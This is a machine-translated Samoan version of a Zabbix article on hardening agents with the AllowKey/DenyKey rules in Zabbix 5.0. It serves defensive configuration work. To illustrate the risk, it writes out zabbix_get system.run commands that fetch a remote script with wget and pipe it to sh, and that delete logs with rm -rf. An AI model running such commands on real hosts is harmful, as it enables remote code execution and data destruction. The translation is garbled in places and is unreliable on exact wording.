Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Lisi uliuli ma le lisi papa'e lagolago mo fua fa'atatau a sui

Tikhon Uskov, Inisinia Tuufaatasi, Zabbix

Fa'amatalaga saogalemu

O le Zabbix 5.0 o loʻo i ai se foliga fou e mafai ai e oe ona faʻaleleia le saogalemu i faiga e faʻaaoga ai le Zabbix Agent ma sui ai le parakalafa tuai. EnableRemoteCommands.

O le faʻaleleia atili o le puipuiga o faiga faʻavae e mafua mai i le mea moni e mafai e se sooupu ona faia se numera tele o gaioiga e ono lamatia ai.

  • E mafai e le sooupu ona aoina toetoe lava o soʻo se faʻamatalaga, e aofia ai faʻamatalaga faʻalilolilo pe ono lamatia, mai faila faila, faila faila, faila faila, poʻo isi faila.

Mo se faʻataʻitaʻiga, faʻaaoga le zabbix_get aoga e mafai ona e mauaina se lisi o tagata faʻaoga, latou lisi o fale, faila faila, ma isi.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Avanoa faʻamatalaga e faʻaaoga ai le aoga zabbix_get

FAʻAALIGA. E faatoa mafai ona toe maua mai fa'amatalaga pe a faitau e le sooupu le fa'atagaga i le faila e fetaui. Ae, mo se faʻataʻitaʻiga, o le faila /etc/passwd/ mafai ona faitau e tagata uma.

  • E mafai fo'i e le sooupu ona fa'atino ni fa'atonuga e ono lamatia ai. Mo se faʻataʻitaʻiga, ki *system.run[]** fa'atagaina oe e fa'atino so'o se fa'atonuga mamao i nodes feso'ota'iga, e aofia ai fa'amaumauga fa'agasolo mai le upegatafa'ilagi a le Zabbix e fa'atino ai fo'i fa'atonuga ile itu sui.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • В Linux E tamo'e le sui e aunoa ma ni fa'amanuiaga fa'a-root i le tulaga masani, ae i totonu Windows E fa'agaoioia o se tautua i lalo o le igoa System ma e leai se tapula'a o le avanoa i le faila o le polokalama. O le mea lea, se'i vagana ua faia ni suiga i fa'atulagaga a le Zabbix Agent pe a uma ona fa'apipi'i, e mafai e le agent ona maua le avanoa i le resitala, faila o le polokalama, ma e mafai ona fa'atino fesili a le WMI.

I lomiga muamua o le parakalafa EnableRemoteCommands=0 fa'atagaina na'o le fa'agata o fua fa'atatau i le ki *system.run[]** ma fa'agasolo fa'asologa mai le upega tafa'ilagi, ae leai se auala e fa'agata ai le avanoa i faila ta'itasi, fa'ataga pe fa'agata ki ta'itasi na fa'apipi'i i le sui sooupu, pe fa'agata le fa'aogaina o ta'iala ta'itasi.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Faʻaaogaina le EnableRemoteCommand parakalafa i lomiga muamua o Zabbix

AllowKey/DenyKey

O le Zabbix 5.0 e fesoasoani e puipuia mai ia avanoa e le fa'atagaina e ala i le tu'uina atu o lisi papa'e ma lisi uliuli mo le fa'atagaina ma le fa'afitia o metric i le itu sooupu.

I le Zabbix 5.0 ki uma, e aofia ai *system.run[]** ua mafai, ma e lua ni filifiliga fou o le fetuutuunaiga o sui ua faaopoopo:

AllowKey= - siaki fa'atagaina;

Te'enaKey= - siaki fa'asaina;

o fea o loʻo i ai se mamanu igoa autu ma faʻamaufaʻailoga e faʻaogaina metacharacters (*).

O ki AllowKey ma DenyKey e fa'atagaina oe e fa'atagaina pe fa'afitia fua fa'atatau e fa'atatau i se fa'ata'ita'iga patino. E le pei o isi fa'amaufa'ailoga, e le fa'atapula'aina le aofa'i o fa'ataga AllowKey/DenyKey. O lenei mea e mafai ai e oe ona faʻamalamalama manino le mea tonu e mafai e le sooupu ona fai i totonu o le faiga e ala i le fatuina o se laʻau o siaki - ki faʻatinoina, lea o le faasologa o loʻo tusia ai e taua tele.

Fa'asologa o tulafono

O tulafono e siakiina i le faasologa o loʻo tuʻuina atu ai i totonu o le faila faʻatulagaina. E siaki le ki e tusa ai ma tulafono aʻo leʻi faia le taʻaloga muamua, ma o le taimi lava e fetaui ai le ki o le elemene faʻamaumauga ma le mamanu, e faʻatagaina pe faʻafitia. A mae'a lea, taofi le siakiina o tulafono ae le amana'ia ki o totoe.

O le mea lea, afai o se elemene e fetaui ma le faatagaina ma le fa'afitia tulafono, o le a fa'alagolago le i'uga po'o le fea tulafono e muamua i le faila fa'atulagaina.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

2 tulafono eseese ma le mamanu tutusa ma se ki vfs.file.size[/tmp/file]

Le fa'asologa o le fa'aogaina o ki AllowKey/DenyKey:

  1. tulafono tonu,
  2. tulafono lautele,
  3. tulafono fa'asa.

Mo se faʻataʻitaʻiga, afai e te manaʻomia le avanoa i faila i totonu o se faila, e tatau ona e faʻatagaina muamua le avanoa ia i latou, ona faʻafitia lea o isi mea uma e le pa'ū i totonu o faʻatagaga faʻavae. Afai e fa'aaoga muamua le tulafono fa'afiti, o le a fa'afitia le avanoa i le faila.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Fa'asologa sa'o

Afai e te manaʻomia le faʻatagaina o mea aoga e 2 e faʻatautaia e ala i *system.run[]**, ma o le a faʻamaonia muamua le tulafono faʻafitia, o le a le faʻalauiloaina mea aoga, aua o le mamanu muamua o le a fetaui ma soʻo se ki, ma o le a le amanaiaina tulafono mulimuli ane.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Sese fa'asologa

Mamanu

Tulafono faavae

Fa'ata'ita'iga o se fa'aaliga fa'atasi ma fa'ailoga. O le metacharacter (*) e fetaui ma so'o se numera o so'o se mataitusi i se tulaga patino. Metacharacers e mafai ona faʻaogaina uma i le igoa autu ma i faʻamau. Mo se faʻataʻitaʻiga, e mafai ona e faʻamalamalama manino le parakalafa muamua i tusitusiga, ma fa'amaoti le isi e fai ma wildcard.

E tatau ona fa'amauina fa'amau i puipui sikuea [].

  • system.run[* - le sa'o
  • vfs.file*.txt] - le sa'o
  • vfs.file.*[*] - tauagavale

Fa'ata'ita'iga o le fa'aogaina o le wildcard.

  1. I le igoa autu ma i le parakalafa. I lenei tulaga, o le ki e le fetaui ma se ki tutusa e le oi ai se parakalafa, talu ai i le mamanu na matou faʻaalia ai matou te manaʻo e maua se faʻaiʻuga o le igoa autu ma se seti o taʻiala.
  2. Afai e le faʻaogaina e le mamanu faʻamaufaʻailoga sikuea, e faʻatagaina e le mamanu ki uma e le o iai ni faʻamaufaʻailoga ma faʻafitia uma ki o loʻo i ai le parakalafa faʻamaonia.
  3. Afai o le ki e tusia atoa ma faʻamautu faʻamaufaʻailoga e pei o wildcard, o le a fetaui ma soʻo se ki tutusa ma soʻo se faʻamaufaʻailoga ma o le a le fetaui ma le ki e aunoa ma ni puipui sikuea, o lona uiga o le a faʻatagaina pe faʻafitia.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Tulafono mo le fa'atumuina o tapula'a.

  • Afai e faʻamoemoe e faʻaaogaina se ki faʻatasi ai ma faʻamaufaʻailoga, e tatau ona faʻamaonia faʻamau i le faila faʻatulagaina. E tatau ona fa'amaoti mai fa'ata'ita'iga o se metacharacter. E mana'omia le fa'afitia ma le fa'aeteete le avanoa i so'o se faila ma amana'ia po'o a fa'amatalaga e mafai e le metric ona tu'uina atu i lalo o sipelaga eseese - fa'atasi ma leai ni fa'amau.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Vaega o le tusitusi ki ma fa'amaufa'ailoga

  • Afai e faʻamaonia se ki ma faʻamaufaʻailoga, ae o faʻamaufaʻailoga e filifili ma faʻamaonia o se metacharacter, o se ki e aunoa ma ni faʻamaufaʻailoga o le a foia. Mo se faʻataʻitaʻiga, afai e te manaʻo e faʻamalo le mauaina o faʻamatalaga e uiga i le uta i luga o le PPU ma faʻamaonia e tatau ona le atoatoa le system.cpu.load [*] ki, aua neʻi galo o le ki e aunoa ma ni faʻamaufaʻailoga o le a toe faʻafoʻi ai le tau o le uta averesi.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

Tulafono mo le fa'atumuina o tapula'a

Faamatalaga

tonu

  • O nisi tulafono e le mafai ona suia e le tagata faʻaoga, mo se faʻataʻitaʻiga, tulafono suʻesuʻe poʻo tulafono faʻamaufaʻailoga a le sooupu. AllowKey/DenyKey tulafono e le afaina ai vaega nei:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

FAʻAALIGA. Afai e faʻagata e le pule se ki, pe a fesiligia, e le tuʻuina atu e Zabbix faʻamatalaga e uiga i le mafuaʻaga e paʻu ai le metric poʻo le ki i le 'vaegaE LE lagolagoina'. O faʻamatalaga e uiga i faʻasaina i le faʻatinoina o poloaiga mamao e le o faʻaalia foi i faila faila a le sui. E mafua lenei mea mo mafuaaga saogalemu, ae e mafai ona faʻalavelaveina le faʻapipiʻiina pe a pa'ū metric i se vaega e le lagolagoina mo nisi mafuaaga.

  • E le tatau ona e fa'alagolago i so'o se fa'atonuga fa'apitoa mo le fa'afeso'ota'iina o faila fa'aopoopo i fafo (mo se fa'ata'ita'iga, i le fa'asologa o alafapeta).

Poloaiga Line Utilities

A maeʻa ona faʻatulagaina tulafono, e tatau ona e mautinoa o loʻo faʻapipiʻi saʻo mea uma.

E mafai ona e faʻaogaina se tasi o filifiliga e tolu:

  • Fa'aopoopo se metric i le Zabbix.
  • Su'ega ma zabbix_agentd. Zabbix sooupu ma le filifiliga -lolomi (-p) fa'aalia ki uma (lea e fa'atagaina ona o le fa'aletonu) se'i vagana i latou e le fa'atagaina e le fa'atulagaga. Ma faatasi ai ma le filifiliga -su'ega (-t) auā e toe fo'i mai se ki fa'asa'Ki aitema lē lagolagoina'.
  • Su'ega ma zabbix_get. Fa'aoga zabbix_get ma le filifiliga -k e toe fo'i mai 'ZBX_NOTSUPPORTED: Le iloa metric'.

Fa'ataga pe fa'afiti

E mafai ona e faʻafitia le avanoa i se faila ma faʻamaonia, mo se faʻataʻitaʻiga, faʻaaoga le aoga zabbix_getua teena le avanoa i le faila.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

**

FAʻAALIGA. O upusii i le parakalafa e le amanaiaina.

I lenei tulaga, o le avanoa i se faila e mafai ona faatagaina e ala i se isi auala. Mo se faʻataʻitaʻiga, pe afai o se symlink e tau atu i ai.

Lisi uliuli ma le lisi papa'e lagolago mo su'esu'ega a sui i le Zabbix 5.0

E fautuaina e siaki filifiliga eseese mo le faʻaaogaina o tulafono faʻapitoa, ma ia amanaia foi avanoa e faʻafefe ai faʻasaina.

Fesili ma tali

Lau fesili. Aisea na filifilia ai se mamanu lavelave ma lana lava gagana e faamatala ai tulafono, faatagaga ma tapu? Aiseā na lē mafai ai ona faaaogā, mo se faaaʻoaʻoga, faaupuga masani e faaaogā e Zabbix?

Tali. Ole mea lea ole regex fa'atinoga talu ai e masani lava e na'o le tasi le sooupu ma e siakiina le tele o metrics. O le Regex ose galuega mamafa ma e le mafai ona matou siakiina le faitau afe o metric i lenei auala. Wildcards - o se fofo lautele, faʻaoga lautele ma faigofie.

Lau fesili. E le o aofia ea faila i le fa'asologa o alafapeta?

Tali. E pei ona ou iloa, e toetoe lava a le mafai ona vavalo le faʻatonuga o le a faʻaaogaina tulafono pe a e faʻasalalau tulafono i faila eseese. Ou te fautuaina le aoina uma o tulafono AllowKey/DenyKey i le tasi Fa'aaofia faila, aua e fegalegaleai le tasi ma le isi, ma aofia ai le faila lea.

Lau fesili. I le Zabbix 5.0 le filifiliga 'EnableRemoteCommands=' o lo'o misi mai le faila fa'atulagaina, ae na'o AllowKey/DenyKey o lo'o avanoa?

Tali. Ioe e sa'o.

Faafetai mo lau gauai!

puna: www.habr.com

Faʻatau talimalo faʻatuatuaina mo nofoaga ma DDoS puipuiga, VPS VDS servers 🔥 Fa'atau le 'upega tafa'ilagi talimalo fa'atuatuaina ma le puipuiga DDoS, 'au'aunaga VPS VDS | ProHoster